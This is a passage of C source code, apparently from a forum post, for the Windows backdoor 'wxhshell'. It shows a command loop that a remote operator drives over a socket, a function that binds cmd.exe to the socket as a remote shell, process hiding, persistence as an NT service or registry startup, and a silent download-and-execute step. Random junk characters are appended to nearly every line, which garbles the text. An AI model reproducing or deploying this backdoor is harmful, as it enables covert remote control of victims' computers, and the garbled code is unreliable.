EhybaRy;C  
    switch(cmd[0]) { ?fEX&t,'  
  hqY9\,.C  
  // 帮助 ${ ~UA 6  
  case '?': { 8E Y< ^:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5b[:B~J  
    break; \6Ze H  
  } O.E   
  // 安装 `B6{y9J6  
  case 'i': { rQ'tab.,]  
    if(Install()) G1~|$X@@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k[ Iwxl;/  
    else 8Db~OYVJG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bhSpSul  
    break; < P5;8  
    } q9oF8&O,  
  // 卸载 Co19^g*  
  case 'r': { iEki<e/  
    if(Uninstall()) LZG^\c$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v-) eT  
    else ]T(O;y*m   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "=<l Pi  
    break; xIrpGLPSh  
    } d #a  
  // 显示 wxhshell 所在路径 Ik1,?A  
  case 'p': { h{sW$WA  
    char svExeFile[MAX_PATH]; -& kQlr  
    strcpy(svExeFile,"\n\r"); KF'H|)!K  
      strcat(svExeFile,ExeFile); *4qsM,t  
        send(wsh,svExeFile,strlen(svExeFile),0); -H`G6oMOO  
    break; .KT+,Y  
    } c)SSi@< cv  
  // 重启 :*&wnQMKR  
  case 'b': { 2>O2#53ls0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J6 [x(T  
    if(Boot(REBOOT)) u?g!E."v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P+3G*M=}  
    else { ".xai.trr  
    closesocket(wsh); :Rt5=0x   
    ExitThread(0); Ai->,<Ig]  
    } ;^DUtr ;  
    break; W'XMC"  
    } ,mYoxEB kl  
  // 关机 !Y]}& pUP  
  case 'd': { +ZE&]BO{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d0 V>;Q  
    if(Boot(SHUTDOWN)) :/%Vpdd@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^ MJGY,r6b  
    else { hCT%1R}rKr  
    closesocket(wsh); #4//2N  
    ExitThread(0); -t6d`p;dR  
    } /"CKVQ  
    break; HxY,R ^  
    } h0.Fstf]  
  // 获取shell ;6b#I$-J-  
  case 's': { @gi Y  
    CmdShell(wsh); R|+R4'  
    closesocket(wsh); &ApJ'uC  
    ExitThread(0); #]eXI $HP  
    break; EJWMr`zdn  
  } }7=a,1T  
  // 退出 DhZtiqL#_  
  case 'x': { j|`{ 1`'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4nl>&AV  
    CloseIt(wsh); z}bnw2d]  
    break; {sm={q  
    } d BlOU.B  
  // 离开 RaU.yCYyu  
  case 'q': { Ix"c<1 I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cZ!s/^o?f  
    closesocket(wsh); iQ9#gPk_9  
    WSACleanup(); uAjGR  
    exit(1); <Z m ,q}  
    break; gv[7h'}<  
        } l(]\[}.5  
  } 5&X  
  } ZHC sv]l  
[QZ~~(R  
  // 提示信息 zt,-O7I'1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %o"Rcw|  
} 9uS7G*  
  }  +rT(  
}qD.Ek  
  return; Tc88U8Gc  
} _).'SU)>  
W;N/Y3Lb  
// shell模块句柄 'hek CZZ_I  
int CmdShell(SOCKET sock) ?Nh%!2n  
{ =` i 7?  
STARTUPINFO si; 'o7PIhD"  
ZeroMemory(&si,sizeof(si)); Xl/G|jB9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /hX"O ?^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @&Nvb.5nT  
PROCESS_INFORMATION ProcessInfo; Vw{Ys6q  
char cmdline[]="cmd"; %C3cdy_c  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xapkhIW2\  
  return 0; ]F@md(J  
} D+SpSO7yg  
 Nr[Rp  
// 自身启动模式 \OU+Kl<  
int StartFromService(void) YjX=@  
{ &16bZw  
typedef struct MtYP3:  
{ 5pok%g  
  DWORD ExitStatus; "qj[[L Q  
  DWORD PebBaseAddress; `5 6QX'?  
  DWORD AffinityMask; )2FO+_K?T  
  DWORD BasePriority; tH'VV-!MZ  
  ULONG UniqueProcessId; poeXi\e!(  
  ULONG InheritedFromUniqueProcessId; OpL 6Y+<  
}   PROCESS_BASIC_INFORMATION; w//w$}v  
Y=rr6/k  
PROCNTQSIP NtQueryInformationProcess; -1_Z*?=-  
Z>,X$ Y6<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4w z 6%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qXI30Yo#d  
^J RTi'v  
  HANDLE             hProcess; zl:D|h77  
  PROCESS_BASIC_INFORMATION pbi; 9#(QS+q~  
[*vN`AfE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1}BNG,n  
  if(NULL == hInst ) return 0; T8441qo{>  
<dN=d3S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iCK$ o_`?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O5{XT]:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u.[JYZ  
;Bb5KD  
  if (!NtQueryInformationProcess) return 0; vUK>4^{J5  
<kSaSW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h]Oplp4 \W  
  if(!hProcess) return 0; :7ngVc  
# 0!IUSa  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "B}08C,?  
O0{  
  CloseHandle(hProcess); 0l6iv[qu5w  
/K!,^Xn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }}1/Ede{5  
if(hProcess==NULL) return 0; =| !~0O  
*_QHtZG  
HMODULE hMod; NNE,| :  
char procName[255]; ;iORfUjxrq  
unsigned long cbNeeded; K D-_~uIF  
-(uBTO s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); BLH=:zb5  
:'dc=C  
  CloseHandle(hProcess); X}-H=1T?  
f`,Hr?H  
if(strstr(procName,"services")) return 1; // 以服务启动 .O#lab`:2  
'U"3'jh  
  return 0; // 注册表启动 Gx!RaZ1  
} N ACY;XQ%  
5dp#\J@  
// 主模块 8@aS9 th$  
int StartWxhshell(LPSTR lpCmdLine) Rdg0WT*;j  
{ M0zD)@  
  SOCKET wsl; W`'|&7~  
BOOL val=TRUE; #(IMRdUf  
  int port=0; }AiS83B  
  struct sockaddr_in door; t4k'9Y:\Q  
<PN;D#2bh  
  if(wscfg.ws_autoins) Install(); />[6uvy#Q  
(A'q@-XQ  
port=atoi(lpCmdLine); <e&QTyb  
aTh%oBrtP  
if(port<=0) port=wscfg.ws_port; s~$4bN>LD  
(YJ AT  
  WSADATA data; mF}k}0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Zax]i,Bx  
-b)zira  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `7%eA9*.m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E@jl: -*E  
  door.sin_family = AF_INET; NoAb}1uae  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MJ9SsC1  
  door.sin_port = htons(port); jN} 7Bb X  
^X;Xti  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~fp+@j-A  
closesocket(wsl); 3t8H?B12ow  
return 1; -fx88  
} O|&TL9:  
D Ok^ON  
  if(listen(wsl,2) == INVALID_SOCKET) { Hs}"A,V  
closesocket(wsl); ]A]E)*  
return 1; 70 UgKE  
} RpK,ixbtA+  
  Wxhshell(wsl); 7 3z Y^ x  
  WSACleanup(); 9H}iX0O  
~}0hN]*G  
return 0; K^vp(2  
z){UuiUM+=  
} [a)~Dui0@\  
+R#`j r"  
// 以NT服务方式启动 SfobzX}~Jh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^1,Eo2yN  
{ ]az} n(B,  
DWORD   status = 0; ,L{o, qzC  
  DWORD   specificError = 0xfffffff; b#;N!VX  
\Tf{ui  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T7,Gf({  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v~2XGm  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Df,VV+  
  serviceStatus.dwWin32ExitCode     = 0; Px7g\[]  
  serviceStatus.dwServiceSpecificExitCode = 0; inv{dg/2  
  serviceStatus.dwCheckPoint       = 0; /9+A97{  
  serviceStatus.dwWaitHint       = 0; A Wh* <H  
lZA>L, \d  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); aho<w+l@  
  if (hServiceStatusHandle==0) return; ]<;i} n| <  
WUWb5xA  
status = GetLastError(); Rf(x^J{  
  if (status!=NO_ERROR) @ U8}sH^  
{ u1|P'>;lF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; e=]oh$]  
    serviceStatus.dwCheckPoint       = 0; h NOYFH  
    serviceStatus.dwWaitHint       = 0; 30(m-D$K>9  
    serviceStatus.dwWin32ExitCode     = status; r{!"%03H_  
    serviceStatus.dwServiceSpecificExitCode = specificError; uU ?37V  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9poEUjBI  
    return; E"1 ;i  
  } ?tC}M;~  
g. Caapy  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; h,'mN\6t  
  serviceStatus.dwCheckPoint       = 0; Z:Y.":[ Qi  
  serviceStatus.dwWaitHint       = 0; h GA0F9.U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &8_f'+i0  
} 9 /Ai(  
C|d!'"p  
// 处理NT服务事件,比如:启动、停止 (_&V9vat=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) K?Xo3W%K  
{ 1[/$ZYk:  
switch(fdwControl) d[RWkk5  
{ P$6f+{  
case SERVICE_CONTROL_STOP: :Y J7J4  
  serviceStatus.dwWin32ExitCode = 0; [%iUg\'7d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &X]=Q pl  
  serviceStatus.dwCheckPoint   = 0; ,4>WLJDo  
  serviceStatus.dwWaitHint     = 0; /Xu;/MMpd3  
  { x:n9dm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  TCKI  
  } 2 .Eu+*UC  
  return; >.O*gv/ _  
case SERVICE_CONTROL_PAUSE: ok>P [ &!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `m@]  
  break;  lGnql1(  
case SERVICE_CONTROL_CONTINUE: ,'1Olu{v[s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a._^E/EV  
  break; 1^60I#Vr@  
case SERVICE_CONTROL_INTERROGATE: W]!@Zlal  
  break; l\sS?  
}; L=$?q/=-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "\zj][sL  
} _Xk03\n6  
1IF'>*  
// 标准应用程序主函数 N+C)/EN$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \o62OfF!  
{ FU (}=5n  
zhA',p@K?_  
// 获取操作系统版本 ^iV`g?z  
OsIsNt=GetOsVer(); o! 2 n}C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3!"b guE  
u_p7Mcb  
  // 从命令行安装 +J o 3rX'`  
  if(strpbrk(lpCmdLine,"iI")) Install(); Vyq#p9Q  
-lP )  
  // 下载执行文件 w$b+R8.n)  
if(wscfg.ws_downexe) { {7K'<ti  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) oc3dd"8}@  
  WinExec(wscfg.ws_filenam,SW_HIDE); l6 S19Kv  
} *< $c =  
re ]Ste  
if(!OsIsNt) { PzMlua  
// 如果时win9x,隐藏进程并且设置为注册表启动 u8<&F`7j  
HideProc(); ;* wT,2;  
StartWxhshell(lpCmdLine); <*A|pns  
} n?ZL"!$  
else :tjgg]  
  if(StartFromService()) 409x!d~it  
  // 以服务方式启动 _UH/}!nqB  
  StartServiceCtrlDispatcher(DispatchTable); 2|0Qk&  
else un$ Z7W/  
  // 普通方式启动 T1Gp$l  
  StartWxhshell(lpCmdLine); GCP{Z]u  
[xZ/ZWb/  
return 0; C-a*EG  
}
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只看该作者 1 发表于: 2006-10-10
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